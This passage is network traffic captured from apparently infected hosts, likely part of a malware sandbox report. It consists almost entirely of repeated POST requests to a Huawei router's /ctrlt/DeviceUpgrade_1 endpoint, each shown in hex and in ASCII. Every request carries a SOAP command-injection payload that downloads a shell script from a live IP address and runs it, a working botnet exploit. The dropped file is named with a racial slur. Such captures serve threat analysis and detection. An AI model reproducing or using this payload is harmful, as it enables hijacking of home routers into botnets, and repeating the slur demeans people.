6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.161206961 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:33.121278048 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:35.009191036 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.977142096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:46.656831026 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:01.760526896 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.15	34182	94.120.158.17	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:32.153158903 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.417165041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:42.561028957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget 